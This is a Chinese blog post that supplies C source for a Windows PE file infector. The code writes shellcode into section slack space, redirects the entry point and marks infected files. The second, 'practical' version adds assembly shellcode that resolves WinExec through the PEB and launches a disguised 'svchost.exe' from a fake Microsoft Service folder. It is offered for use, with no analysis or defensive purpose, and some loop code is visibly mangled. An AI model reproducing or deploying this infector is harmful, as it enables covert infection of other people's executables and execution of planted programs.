简单感染PE文件
#include
#include
#include
#define pause system("pause")
int FPeFile(char *PeFileName)
{ HANDLE hFile; HANDLE hMap; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSec; PIMAGE_OPTIONAL_HEADER pOptionalHeader; DWORD word=0; char *pBuf; short Sec; int size; unsigned char INT3=0xcc; unsigned char retn=0xc3; unsigned char Nop=0x90; hFile=CreateFileA( PeFileName, GENERIC_READ| GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("打开文件失败!错误号:%d\n",GetLastError()); pause; return 0; } size=GetFileSize(hFile,0); hMap=CreateFileMappingA( hFile, NULL, PAGE_READWRITE, 0, size, NULL); if(hMap==INVALID_HANDLE_VALUE) {
Err: CloseHandle(hFile); printf("映射文件失败!\n"); pause; return 0; } pBuf=(char*)MapViewOfFile(hMap, FILE_MAP_WRITE| FILE_MAP_READ, 0, 0, size); if(!pBuf) { CloseHandle(hFile); goto Err; } pDosHeader=(PIMAGE_DOS_HEADER)pBuf; pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew]; pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader; if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) {
NotPe: printf("不是有效的PE文件!\n"); goto Clean; } if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE) goto NotPe; if(pDosHeader->e_ovno==0x2308) { /* 已经被感染了 */ printf("这个程序已经被感染了!\n"); goto Clean; } Sec=pNtHeader->FileHeader.NumberOfSections; pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader-> e_lfanew]; for(int i=0;iSizeOfRawData-pSec->Misc.VirtualSize; py=pSec->PointerToRawData+pSec->Misc.VirtualSize; VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize; if(Empty<=0) { pSec++; continue; } if(Empty<(6+sizeof(Code))) { pSec++; continue; } OEP=pOptionalHeader->AddressOfEntryPoint; printf("区段名:%s\t文件偏移:%xH\t空白字节大小:%xH\t相对虚拟地址:%xH\n",pSec->Name, py,Empty,VAddress); /* 跳回源程序OEP */ /* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */ NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+sizeof(Code))-5;/* 获取感染后程序的OEP */ pOptionalHeader->AddressOfEntryPoint=VAddress; SetFilePointer(hFile,py,NULL,FILE_BEGIN); /* 将信息写入到空白字节中 */ if(WriteFile(hFile,Code,sizeof(Code),&word,NULL)) { WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL); WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL); /* 标识 */ WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL); pDosHeader->e_ovno=0x2308; printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint); break; } pSec++; } goto Clean;
Clean: UnmapViewOfFile(pBuf); CloseHandle(hMap); CloseHandle(hFile); pause; return 0;
}
int main(int argc,char *argv[])
{ if(argc<2) return 0; FPeFile(argv[1]); return 0;
} 经过我的小小的修改,可实用化:
// PEInject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include
#include
#include
#define pause system("pause")int dumpCode(unsigned char*buffer)
{goto END ;//略过汇编代码
BEGIN:__asm{//在这里定义任意的合法汇编代码mov eax, dword ptr fs:[0x30]; mov eax, dword ptr [eax+0xC]; mov eax, dword ptr [eax+0xC]; mov eax, dword ptr [eax]; mov eax, dword ptr [eax]; mov eax, dword ptr [eax+0x18]; mov ebp,eax //Kernel.dll基址 mov eax,dword ptr ss:[ebp+3CH] // eax=PE首部 mov edx,dword ptr ds:[eax+ebp+78H] // add edx,ebp // edx=引出表地址 mov ecx,dword ptr ds:[edx+18H] // ecx=导出函数个数,NumberOfFunctions mov ebx,dword ptr ds:[edx+20H] // add ebx,ebp // ebx=函数名地址,AddressOfName
start: // dec ecx // 循环的开始 mov esi,dword ptr ds:[ebx+ecx*4] // add esi,ebp // mov eax,0x50746547 // cmp dword ptr ds:[esi],eax // 比较PteG jnz start // mov eax,0x41636F72 // cmp dword ptr ds:[esi+4],eax // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress jnz start // mov ebx,dword ptr ds:[edx+24H] // add ebx,ebp // mov cx,word ptr ds:[ebx+ecx*2] // mov ebx,dword ptr ds:[edx+1CH] // add ebx,ebp // mov eax,dword ptr ds:[ebx+ecx*4] // add eax,ebp // eax 现在是GetProcAddress地址 mov ebx,eax // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用 push 0 // push 0x636578 // push 0x456E6957 // 构造WinExec字符串 push esp // push ebp // ebp是kernel32.dll的基址 call ebx // 用GetProcAdress得到WinExec地址 mov ebx,eax // WinExec地址保存到ecx push 0x00006578push 0x652e7473push 0x6f686376push 0x735c6563push 0x69767265push 0x53207466push 0x6f736f72push 0x63694d5cpush 0x73656c69push 0x46206d61push 0x72676f72push 0x505c3a43 //字符串压入栈 lea eax,[esp]; //取到cmd首地址 push 1 // push eax // ASCII "C:\Program Files\Microsoft Service\svchost.exe" call ebx // 执行WinExecnopnopnopnop// leave // 跳回原始入口点 }
END://确定代码范围UINT begin,end;__asm{mov eax,BEGIN ;mov begin,eax ;mov eax,END ;mov end,eax ;}//输出int len=end-begin;memcpy(buffer,(void*)begin,len);//四字节对齐int fill=(len-len%4)%4;while(fill--)buffer[len+fill]=0x90;//返回长度return len+fill;
}int FPeFile(char *PeFileName, unsigned char* shellcode, int shellcodelen)
{ HANDLE hFile; HANDLE hMap; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSec; PIMAGE_OPTIONAL_HEADER pOptionalHeader; DWORD word=0; char *pBuf; short Sec; int size; unsigned char INT3=0xcc; unsigned char retn=0xc3; unsigned char Nop=0x90; hFile=CreateFileA( PeFileName, GENERIC_READ| GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("打开文件失败!错误号:%d\n",GetLastError()); pause; return 0; } size=GetFileSize(hFile,0); hMap=CreateFileMappingA( hFile, NULL, PAGE_READWRITE, 0, size, NULL); if(hMap==INVALID_HANDLE_VALUE) {
Err: CloseHandle(hFile); printf("映射文件失败!\n"); pause; return 0; } pBuf=(char*)MapViewOfFile(hMap, FILE_MAP_WRITE| FILE_MAP_READ, 0, 0, size); if(!pBuf) { CloseHandle(hFile); goto Err; } pDosHeader=(PIMAGE_DOS_HEADER)pBuf; pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew]; pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader; if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) {
NotPe: printf("不是有效的PE文件!\n"); goto Clean; } if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE) goto NotPe; if(pDosHeader->e_ovno==0x2308) { /* 已经被感染了 */ printf("这个程序已经被感染了!\n"); goto Clean; } Sec=pNtHeader->FileHeader.NumberOfSections; pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader-> e_lfanew]; for(int i=0;iSizeOfRawData-pSec->Misc.VirtualSize; py=pSec->PointerToRawData+pSec->Misc.VirtualSize; VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize; if(Empty<=0) { pSec++; continue; } if(Empty<(6+sizeof(Code))) { pSec++; continue; } OEP=pOptionalHeader->AddressOfEntryPoint; printf("区段名:%s\t文件偏移:%xH\t空白字节大小:%xH\t相对虚拟地址:%xH\n",pSec->Name, py,Empty,VAddress); /* 跳回源程序OEP */ /* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */ NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+shellcodelen)-5;/* 获取感染后程序的OEP */ pOptionalHeader->AddressOfEntryPoint=VAddress; SetFilePointer(hFile,py,NULL,FILE_BEGIN); /* 将信息写入到空白字节中 */ if(WriteFile(hFile, shellcode, shellcodelen, &word, NULL)) { WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL); WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL); /* 标识 */ //WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL); pDosHeader->e_ovno=0x2308; printf("源程序OEP:%xH\t感染后OEP:%xH\n",OEP,pOptionalHeader->AddressOfEntryPoint); break; } pSec++; } goto Clean;
Clean: UnmapViewOfFile(pBuf); CloseHandle(hMap); CloseHandle(hFile); pause; return 0;
}
int main(int argc,char *argv[])
{unsigned char buffer[1024] ={0};int len = dumpCode(buffer);unsigned char shellcodebuffer[1024] ={0};shellcodebuffer[0] = 0x60;memcpy(shellcodebuffer+1, buffer,len);shellcodebuffer[len+1] = 0x61;if(argc<2) return 0; FPeFile(argv[1], shellcodebuffer, len+2); return 0;
}
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
